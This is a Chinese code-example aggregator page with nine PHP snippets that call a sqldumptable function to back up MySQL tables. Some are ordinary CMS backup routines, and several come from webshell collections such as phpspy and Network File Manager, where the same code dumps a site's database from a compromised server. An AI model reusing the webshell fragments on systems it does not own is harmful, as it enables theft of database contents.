當前位置: 首頁>>代碼示例>>PHP>>正文


PHP sqldumptable函數代碼示例

本文整理匯總了PHP中sqldumptable函數的典型用法代碼示例。如果您正苦於以下問題:PHP sqldumptable函數的具體用法?PHP sqldumptable怎麽用?PHP sqldumptable使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。


在下文中一共展示了sqldumptable函數的9個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的PHP代碼示例。

示例1: m

 if ($doing == 'backupmysql' && $saveasfile) {
     if (!$table) {
         m('Please choose the table');
     } else {
         mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
         $table = array_flip($table);
         $fp = @fopen($path, 'w');
         if ($fp) {
             $result = q('SHOW tables');
             if (!$result) {
                 p('<h2>' . mysql_error() . '</h2>');
             }
             $mysqldata = '';
             while ($currow = mysql_fetch_array($result)) {
                 if (isset($table[$currow[0]])) {
                     sqldumptable($currow[0], $fp);
                 }
             }
             fclose($fp);
             $fileurl = str_replace(SA_ROOT, '', $path);
             m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
             mysql_close();
         } else {
             m('Backup failed');
         }
     }
 }
 if ($insert && $insertsql) {
     $keystr = $valstr = $tmp = '';
     foreach ($insertsql as $key => $val) {
         if ($val) {
開發者ID:mcanv,項目名稱:webshell,代碼行數:31,代碼來源:2009mssql.php

示例2: date

     }
 }
 if ($do == "backup") {
     $filename = date('ymd') . '_' . pb_radom(6);
     $db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
     $time = gmdate("M d Y H:i:s", mktime(date("H"), date("i"), date("s"), date("m"), date("d"), date("Y")));
     $tables = arraykeys2(fetchtablelist($tb_prefix), 'Name');
     if (mysql_get_server_info() > '4.1') {
         $db->query("set names '" . $dbcharset . "'");
     }
     $backupfilename = DATA_PATH . "backup_" . $backupdir . DS . str_replace(array('/', '\\', '.'), '', $filename);
     $sqldump = '';
     $tableid = 0;
     $startfrom = 0;
     for (; $tableid < count($tables); $tableid++) {
         $sqldump .= sqldumptable($tables[$tableid], $startfrom, strlen($sqldump));
         $startfrom = 0;
     }
     $dumpfile = $backupfilename . '.sql';
     $tableid--;
     if (trim($sqldump)) {
         $fp = file_put_contents($dumpfile, $sqldump);
         unset($sqldump);
         $result = $pdb->Execute("UPDATE {$tb_prefix}settings SET valued=" . $time_stamp . " WHERE variable='last_backup'");
         $data['handle_type'] = 'info';
         $data['source_module'] = 'backup';
         $data['description'] = $_POST['message'];
         $result = $log->Add($data);
         if ($result) {
             flash("success", 'db.php?do=restore');
         } else {
開發者ID:renduples,項目名稱:alibtob,代碼行數:31,代碼來源:db.php

示例3: tabledata

                $str2 .= "<B><div id='postingTag'></div></B>";
                echo tabledata("{$str1}|{$str2}");
                echo tableend();
                ffooter();
                eval(auto_submit_script());
                exit;
            }
        }
        // 開始導出一頁
        $writefile_data = "<?\r\nif(!defined('VERSION')){echo \"<meta http-equiv=refresh content='0;URL={$_POST[filename]}.php'>\";exit;}\r\n";
        $tablearr = array();
        for (@reset($_POST[fsqltable]); count($_POST[fsqltable]) && @(list($key, $val) = @each($_POST[fsqltable]));) {
            $tablearr[] = $key;
        }
        for ($i = $_POST[tabledumping]; $i < count($tablearr); $i++) {
            sqldumptable($tablearr[$i], $i, 1);
            //導出表
        }
        //結束最後文件
        $data = "echo '<center><BR><BR><BR><BR>完成。所有數據都已經導入數據庫中。</center>'; exit; ?" . ">";
        $writefile_data .= "{$data}";
        writefile($writefile_data, "w");
        $backpassword = $_POST[back_pass] ? $_POST[back_pass] : "zbc5.com";
        //引導文件內容
        $data = '<?
include "./../../../include/session.php";
include "./../../../include/dblink.php";
$usedumppass=1;  //導入數據時是否使用導入密碼。如果您忘記了導入密碼,請把值改為 0 。HTTP方式下載數據文件不能取消導入密碼。

define("VERSION","' . VERSION . '");
error_reporting(1);
開發者ID:kwdwkiss,項目名稱:trial,代碼行數:31,代碼來源:zhuanbaoke_bf.php

示例4: elseif

 } elseif (!is_dir(BACKUP_DIR . './' . $get['sqlpath'])) {
     if (!mkdir(BACKUP_DIR . './' . $get['sqlpath'], 0777)) {
         api_msg('mkdir_error', 'make dir error:' . BACKUP_DIR . './' . $get['sqlpath']);
     }
 }
 if (!isset($get['backupfilename']) || empty($get['backupfilename'])) {
     //note 若沒有指定備份文件名,則設定保存數據的文件名
     $get['backupfilename'] = date('ymd', $timestamp) . '_' . random(6);
 }
 $sqldump = '';
 $get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0;
 $get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0;
 //note count() 有待於優化
 $complete = true;
 for (; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) {
     $sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump));
     if ($complete) {
         $get['startfrom'] = 0;
     }
 }
 !$complete && $get['tableid']--;
 $dumpfile = BACKUP_DIR . $get['sqlpath'] . '/' . $get['backupfilename'] . '-' . $get['volume'] . '.sql';
 if (trim($sqldump)) {
     $sqldump = "{$idstring}" . "# <?exit();?>\n" . "# {$apptype} Multi-Volume Data Dump Vol.{$get['volume']}\n" . "# Time: {$time}\n" . "# Type: {$apptype}\n" . "# Table Prefix: {$tablepre}\n" . "# {$dbcharset}\n" . "# {$apptype} Home: http://www.comsenz.com\n" . "# Please visit our website for newest infomation about {$apptype}\n" . "# --------------------------------------------------------\n\n\n" . $sqldump;
     @($fp = fopen($dumpfile, 'wb'));
     @flock($fp, 2);
     if (@(!fwrite($fp, $sqldump))) {
         @fclose($fp);
         api_msg('database_export_file_invalid', $dumpfile);
     } else {
         fclose($fp);
開發者ID:pan289091315,項目名稱:Discuz,代碼行數:31,代碼來源:dbbak.php

示例5: m

 if (isset($dbname)) {
     $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"{$dbname}\" />\n";
 }
 if (isset($charset)) {
     $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"{$charset}\" />\n";
 }
 if ($doing == 'backupmysql' && $saveasfile) {
     if (!$table) {
         m('Please choose the table');
     } else {
         $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
         $fp = @fopen($path, 'w');
         if ($fp) {
             foreach ($table as $k => $v) {
                 if ($v) {
                     sqldumptable($v, $fp);
                 }
             }
             fclose($fp);
             $fileurl = str_replace(SA_ROOT, '', $path);
             m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
             mysql_close();
         } else {
             m('Backup failed');
         }
     }
 }
 if ($insert && $insertsql) {
     $keystr = $valstr = $tmp = '';
     foreach ($insertsql as $key => $val) {
         if ($val) {
開發者ID:evil7,項目名稱:webshell,代碼行數:31,代碼來源:z7.php

示例6: mysql_close

    mysql_close();
} elseif ($_POST['do'] == 'backupmysql') {
    if (empty($_POST['table']) or empty($_POST['backuptype'])) {
        echo "請選擇欲備份的數據表和備份方式!";
    } else {
        if ($_POST['backuptype'] == 'server') {
            @mysql_connect($servername, $dbusername, $dbpassword) or die("數據庫連接失敗");
            @mysql_select_db($dbname) or die("選擇數據庫失敗");
            $table = array_flip($_POST['table']);
            $filehandle = @fopen($path, "w");
            if ($filehandle) {
                $result = mysql_query("SHOW tables");
                echo $result ? NULL : "出錯: " . mysql_error();
                while ($currow = mysql_fetch_array($result)) {
                    if (isset($table[$currow[0]])) {
                        sqldumptable($currow[0], $filehandle);
                        fwrite($filehandle, "\n\n\n");
                    }
                }
                fclose($filehandle);
                echo "數據庫已成功備份到 <a href=\"" . $path . "\" target=\"_blank\">" . $path . "</a>";
                mysql_close();
            } else {
                echo "備份失敗,請確認目標文件夾是否具有可寫權限!";
            }
        }
    }
} elseif ($downrar) {
    if (!empty($dl)) {
        $dfiles = "";
        foreach ($dl as $filepath => $value) {
開發者ID:mcanv,項目名稱:webshell,代碼行數:31,代碼來源:phpspy_2006.php

示例7: base64_encode

     $idstring = '# Identify: ' . base64_encode("{$timestamp},{$SABLOG_VERSION},{$volume}") . "\n";
     //清除表內臨時的數據
     $DB->unbuffered_query("TRUNCATE TABLE {$db_prefix}searchindex");
     $sqlcompat = in_array($sqlcompat, array('MYSQL40', 'MYSQL41')) ? $sqlcompat : '';
     $setnames = intval($addsetnames) || $DB->version() > '4.1' && (!$sqlcompat || $sqlcompat == 'MYSQL41') ? "SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary;\n\n" : '';
     if ($DB->version() > '4.1') {
         $DB->query("SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary;");
         if ($sqlcompat == 'MYSQL40') {
             $DB->query("SET SQL_MODE='MYSQL40'");
         }
     }
     $sqldump = '';
     $tableid = $tableid ? $tableid - 1 : 0;
     $startfrom = (int) $startfrom;
     for ($i = $tableid; $i < count($tables) && getstrlen($sqldump) < $sizelimit * 1000; $i++) {
         $sqldump .= sqldumptable($tables[$i], $startfrom, getstrlen($sqldump));
         $startfrom = 0;
     }
     $tableid = $i;
     if (trim($sqldump)) {
         $sqldump = "{$idstring}" . "# <?exit();?>\n" . "# Sablog-X bakfile Multi-Volume Data Dump Vol.{$volume}\n" . "# Version: {$SABLOG_VERSION}\n" . "# Time: " . sadate('Y-m-d H:i') . "\n" . "# Sablog-X: http://www.sablog.net\n" . "# --------------------------------------------------------\n\n\n" . $setnames . $sqldump;
         if (!writefile($sqlfilename, $sqldump)) {
             $location = getlink('tools', 'backup', array('message' => 8));
         } else {
             redirect('分卷備份:數據文件 ' . $volume . ' 成功創建,程序將自動繼續.', "cp.php?job=tools&action=dobackup&filename=" . rawurlencode($filename) . "&sizelimit=" . rawurlencode($sizelimit) . "&volume=" . rawurlencode($volume) . "&tableid=" . rawurlencode($tableid) . "&startfrom=" . rawurlencode($startrow) . "&sqlcompat=" . rawurlencode($sqlcompat));
         }
     } else {
         $location = getlink('tools', 'filelist', array('message' => 9));
     }
 }
 header("Location: {$location}");
開發者ID:BGCX261,項目名稱:zjnewcitycode-svn-to-git,代碼行數:31,代碼來源:tools.php

示例8: sql


//.........這裏部分代碼省略.........
        $fich = $dbbase . $fc . $fext;
        $dte = "";
        if ($ecraz != 1) {
            $dte = date("dMy_Hi") . "_";
        }
        $gz = "";
        if ($file_type == '1') {
            $gz .= ".gz";
        }
        $fcut = false;
        $ftbl = false;
        $f_nm = array();
        if ($f_cut == 1) {
            $fcut = true;
            $max_sql = $max_sql;
            $nbf = 1;
            $f_size = 170;
        }
        if ($f_tbl == 1) {
            $ftbl = true;
        } else {
            if (!$fcut) {
                open_file("dump_" . $dte . $dbbase . $fc . $fext . $gz);
            } else {
                open_file("dump_" . $dte . $dbbase . $fc . "_1" . $fext . $gz);
            }
        }
        $nbf = 1;
        mysql_connect($dbhost, $dbuser, $dbpass);
        mysql_select_db($dbbase);
        if ($fext == ".sql") {
            if ($ftbl) {
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut) {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        $nbf = 0;
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
                            if (file_pos() + 6 + strlen($val) < $max_sql) {
                                write_file($val . ";");
                            } else {
                                close_file();
                                $nbf++;
                                open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".sql" . $gz);
                                write_file($val . ";");
                            }
                        }
                        close_file();
                    } else {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        write_file($temp . "\n\n");
                        close_file();
                        $nbf = 1;
                    }
                    $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>";
                }
            } else {
                $tblsv = "";
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut && file_pos() + $sz_t > $max_sql) {
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
開發者ID:Theov,項目名稱:webshells,代碼行數:67,代碼來源:NFM+1.8.php

示例9: sql


//.........這裏部分代碼省略.........
        $fich = $dbbase . $fc . $fext;
        $dte = "";
        if ($ecraz != 1) {
            $dte = date("dMy_Hi") . "_";
        }
        $gz = "";
        if ($file_type == '1') {
            $gz .= ".gz";
        }
        $fcut = false;
        $ftbl = false;
        $f_nm = array();
        if ($f_cut == 1) {
            $fcut = true;
            $fz_max = $fz_max;
            $nbf = 1;
            $f_size = 170;
        }
        if ($f_tbl == 1) {
            $ftbl = true;
        } else {
            if (!$fcut) {
                open_file("dump_" . $dte . $dbbase . $fc . $fext . $gz);
            } else {
                open_file("dump_" . $dte . $dbbase . $fc . "_1" . $fext . $gz);
            }
        }
        $nbf = 1;
        mysql_connect($dbhost, $dbuser, $dbpass);
        mysql_select_db($dbbase);
        if ($fext == ".sql") {
            if ($ftbl) {
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut) {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        $nbf = 0;
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
                            if (file_pos() + 6 + strlen($val) < $fz_max) {
                                write_file($val . ";");
                            } else {
                                close_file();
                                $nbf++;
                                open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".sql" . $gz);
                                write_file($val . ";");
                            }
                        }
                        close_file();
                    } else {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        write_file($temp . "\n\n");
                        close_file();
                        $nbf = 1;
                    }
                    $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>";
                }
            } else {
                $tblsv = "";
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut && file_pos() + $sz_t > $fz_max) {
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
開發者ID:ASDAFF,項目名稱:Shells-Database,代碼行數:67,代碼來源:NetworkFileManagerPHP.php


注:本文中的sqldumptable函數示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。